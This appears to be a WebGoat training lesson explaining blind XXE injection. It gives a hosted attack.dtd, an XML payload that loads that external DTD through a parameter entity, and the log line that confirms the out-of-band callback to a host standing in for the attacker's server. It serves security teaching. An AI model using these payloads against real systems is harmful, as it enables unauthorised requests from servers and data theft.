== Blind XXE

In some cases you will see no output because although your attack might have worked the field is not reflected in the output of page.
Or the resource you are trying to read contains illegal XML character which causes the parser to fail.
Let's start with an example, in this case we reference a external DTD which we control on our own server.

Our WebGoat server by default has an /xxe/ping endpoint which we can use. *This can be any server under your control.*

[source]
----
curl -i http://localhost:8080/WebGoat/XXE/ping

will result in:

GET curl/7.45.0
----

at the server side.

How do we use this endpoint to verify whether we can perform XXE?

In the `~/${user.home}/.webgoat/plugin/XXE` create a file called attack.dtd

[source]
----
<?xml version="1.0" encoding="UTF-8"?>
<!ENTITY ping SYSTEM 'http://localhost:8080/WebGoat/XXE/ping?text=HelloWorld'>
----

Now submit the form and change the xml to:

[source]
----
<?xml version="1.0"?>
<!DOCTYPE root [
<!ENTITY % remote SYSTEM "http://localhost:8080/WebGoat/plugin_lessons/XXE/attack.dtd">
%remote;
]>
<user>
  <username>test&ping;</username>
</user>
----

Now if we check our server log we will see:

[source]
----
GET Java/1.8.0_101 HelloWorld
----

So with the XXE we are able to ping our own server which means XXE injection is possible.

[NOTE]
In this case we use http://localhost:8080/WebGoat/plugin_lessons/XXE/test.dtd to fetch the dtd but in reality this will
of course be a host fully under the attackers control.